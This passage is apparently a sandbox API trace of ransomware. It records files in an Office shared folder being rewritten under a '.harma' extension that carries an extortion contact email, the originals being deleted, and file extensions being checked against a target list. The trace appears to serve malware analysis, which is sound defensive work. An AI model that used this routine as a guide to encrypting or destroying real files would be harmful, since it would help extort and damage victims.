Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.811] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.811] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.812] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0062.812] GetLastError () returned 0x0 [0062.812] ReadFile (in: hFile=0x214, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x1195f, lpOverlapped=0x0) returned 1 [0062.817] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x11960, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x11960, lpOverlapped=0x0) returned 1 [0062.819] ReadFile (in: hFile=0x214, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.819] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0062.819] SetEndOfFile (hFile=0x1ec) returned 1 [0062.819] CloseHandle (hObject=0x1ec) returned 1 [0062.820] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.820] SetEndOfFile (hFile=0x214) returned 1 [0062.821] CloseHandle (hObject=0x214) returned 1 [0062.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.821] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbendf98.chm")) returned 1 [0062.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.822] lstrlenW (lpString=".doc") returned 4 [0062.822] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0062.822] lstrlenW (lpString=".docx") returned 5 [0062.822] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0062.822] lstrlenW (lpString=".pdf") returned 4 [0062.822] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0062.822] lstrlenW (lpString=".xls") returned 4 [0062.822] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0062.822] lstrlenW (lpString=".xlsx") returned 5 [0062.822] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0062.822] lstrlenW (lpString=".ppt") returned 4 [0062.822] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0062.822] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.822] lstrlenW (lpString=".zip") returned 4 [0062.822] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0062.822] lstrlenW (lpString=".rar") returned 4 [0062.822] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0062.822] lstrlenW (lpString=".bz2") returned 4 [0062.822] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0062.823] lstrlenW (lpString=".7z") returned 3 [0062.823] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0062.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.823] lstrlenW (lpString=".dbf") returned 4 [0062.823] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0062.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.823] lstrlenW (lpString=".1cd") returned 4 [0062.823] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0062.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.823] lstrlenW (lpString=".jpg") returned 4 [0062.823] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0062.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.823] lstrlenW (lpString=".doc") returned 4 [0062.823] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0062.823] lstrlenW (lpString=".docx") returned 5 [0062.823] lstrcmpiW (lpString1=".docx", lpString2="8.CHM") returned -1 [0062.823] lstrlenW (lpString=".pdf") returned 4 [0062.823] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0062.823] lstrlenW (lpString=".xls") returned 4 [0062.823] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0062.823] lstrlenW (lpString=".xlsx") returned 5 [0062.823] lstrcmpiW (lpString1=".xlsx", lpString2="8.CHM") returned -1 [0062.823] lstrlenW (lpString=".ppt") returned 4 [0062.823] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0062.823] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.824] lstrlenW (lpString=".zip") returned 4 [0062.824] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0062.824] lstrlenW (lpString=".rar") returned 4 [0062.824] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0062.824] lstrlenW (lpString=".bz2") returned 4 [0062.824] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0062.824] lstrlenW (lpString=".7z") returned 3 [0062.824] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0062.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.824] lstrlenW (lpString=".dbf") returned 4 [0062.824] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0062.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.824] lstrlenW (lpString=".1cd") returned 4 [0062.824] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0062.824] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBENDF98.CHM") returned 73 [0062.824] lstrlenW (lpString=".jpg") returned 4 [0062.824] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0062.824] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0062.824] lstrlenW (lpString="VBHW6.CHM") returned 9 [0062.824] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.825] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=58026) returned 1 [0062.825] CloseHandle (hObject=0x214) returned 1 [0062.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 0x20 [0062.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.825] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.825] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.825] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0062.826] GetLastError () returned 0x0 [0062.826] ReadFile (in: hFile=0x214, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0xe2aa, lpOverlapped=0x0) returned 1 [0062.828] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe2b0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe2b0, lpOverlapped=0x0) returned 1 [0062.830] ReadFile (in: hFile=0x214, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.830] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.830] SetEndOfFile (hFile=0x1ec) returned 1 [0062.830] CloseHandle (hObject=0x1ec) returned 1 [0062.830] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.831] SetEndOfFile (hFile=0x214) returned 1 [0062.832] CloseHandle (hObject=0x214) returned 1 [0062.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0062.832] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbhw6.chm")) returned 1 [0062.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.833] lstrlenW (lpString=".doc") returned 4 [0062.833] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0062.833] lstrlenW (lpString=".docx") returned 5 [0062.833] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0062.833] lstrlenW (lpString=".pdf") returned 4 [0062.833] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0062.833] lstrlenW (lpString=".xls") returned 4 [0062.833] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0062.833] lstrlenW (lpString=".xlsx") returned 5 [0062.833] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0062.833] lstrlenW (lpString=".ppt") returned 4 [0062.833] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0062.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.833] lstrlenW (lpString=".zip") returned 4 [0062.833] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0062.833] lstrlenW (lpString=".rar") returned 4 [0062.833] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0062.833] lstrlenW (lpString=".bz2") returned 4 [0062.833] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0062.833] lstrlenW (lpString=".7z") returned 3 [0062.833] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0062.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.833] lstrlenW (lpString=".dbf") returned 4 [0062.833] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0062.833] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.833] lstrlenW (lpString=".1cd") returned 4 [0062.833] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0062.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.834] lstrlenW (lpString=".jpg") returned 4 [0062.834] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0062.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.834] lstrlenW (lpString=".doc") returned 4 [0062.834] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0062.834] lstrlenW (lpString=".docx") returned 5 [0062.834] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0062.834] lstrlenW (lpString=".pdf") returned 4 [0062.834] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0062.834] lstrlenW (lpString=".xls") returned 4 [0062.834] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0062.834] lstrlenW (lpString=".xlsx") returned 5 [0062.834] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0062.834] lstrlenW (lpString=".ppt") returned 4 [0062.834] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0062.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.834] lstrlenW (lpString=".zip") returned 4 [0062.834] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0062.834] lstrlenW (lpString=".rar") returned 4 [0062.834] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0062.834] lstrlenW (lpString=".bz2") returned 4 [0062.834] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0062.834] lstrlenW (lpString=".7z") returned 3 [0062.834] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0062.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.834] lstrlenW (lpString=".dbf") returned 4 [0062.834] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0062.834] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.834] lstrlenW (lpString=".1cd") returned 4 [0062.835] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0062.835] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBHW6.CHM") returned 70 [0062.835] lstrlenW (lpString=".jpg") returned 4 [0062.835] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0062.835] lstrcmpiW (lpString1=".CHM", lpString2=".harma") returned -1 [0062.835] lstrlenW (lpString="VBLR6.CHM") returned 9 [0062.835] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.835] GetFileSizeEx (in: hFile=0x214, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=944994) returned 1 [0062.835] CloseHandle (hObject=0x214) returned 1 [0062.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0062.836] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0062.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0062.836] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.836] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0062.836] GetLastError () returned 0x0 [0062.836] ReadFile (in: hFile=0x214, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0062.855] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0062.875] ReadFile (in: hFile=0x214, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0062.875] WriteFile (in: hFile=0x1ec, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.875] SetEndOfFile (hFile=0x1ec) returned 1 [0062.875] CloseHandle (hObject=0x1ec) returned 1 [0062.875] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0062.875] SetEndOfFile (hFile=0x214) returned 1 [0063.134] CloseHandle (hObject=0x214) returned 1 [0063.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0063.135] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0063.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.135] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.135] lstrlenW (lpString=".doc") returned 4 [0063.135] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0063.135] lstrlenW (lpString=".docx") returned 5 [0063.135] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0063.135] lstrlenW (lpString=".pdf") returned 4 [0063.135] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0063.135] lstrlenW (lpString=".xls") returned 4 [0063.136] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0063.136] lstrlenW (lpString=".xlsx") returned 5 [0063.136] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0063.136] lstrlenW (lpString=".ppt") returned 4 [0063.136] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0063.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.136] lstrlenW (lpString=".zip") returned 4 [0063.136] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0063.136] lstrlenW (lpString=".rar") returned 4 [0063.136] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0063.136] lstrlenW (lpString=".bz2") returned 4 [0063.136] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0063.136] lstrlenW (lpString=".7z") returned 3 [0063.136] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0063.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.136] lstrlenW (lpString=".dbf") returned 4 [0063.136] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0063.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.136] lstrlenW (lpString=".1cd") returned 4 [0063.136] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0063.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.136] lstrlenW (lpString=".jpg") returned 4 [0063.136] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0063.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.136] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.136] lstrlenW (lpString=".doc") returned 4 [0063.136] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0063.136] lstrlenW (lpString=".docx") returned 5 [0063.136] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0063.136] lstrlenW (lpString=".pdf") returned 4 [0063.137] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0063.137] lstrlenW (lpString=".xls") returned 4 [0063.137] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0063.137] lstrlenW (lpString=".xlsx") returned 5 [0063.137] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0063.137] lstrlenW (lpString=".ppt") returned 4 [0063.137] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0063.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.137] lstrlenW (lpString=".zip") returned 4 [0063.137] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0063.137] lstrlenW (lpString=".rar") returned 4 [0063.137] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0063.137] lstrlenW (lpString=".bz2") returned 4 [0063.137] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0063.137] lstrlenW (lpString=".7z") returned 3 [0063.137] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0063.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.137] lstrlenW (lpString=".dbf") returned 4 [0063.137] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0063.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.137] lstrlenW (lpString=".1cd") returned 4 [0063.137] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0063.137] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0063.137] lstrlenW (lpString=".jpg") returned 4 [0063.137] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0063.137] lstrcmpiW (lpString1=".config", lpString2=".harma") returned -1 [0063.138] lstrlenW (lpString="VSTOInstaller.config") returned 20 [0063.138] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0063.894] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=716) returned 1 [0063.894] CloseHandle (hObject=0x1f4) returned 1 [0063.894] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config")) returned 0x20 [0063.894] 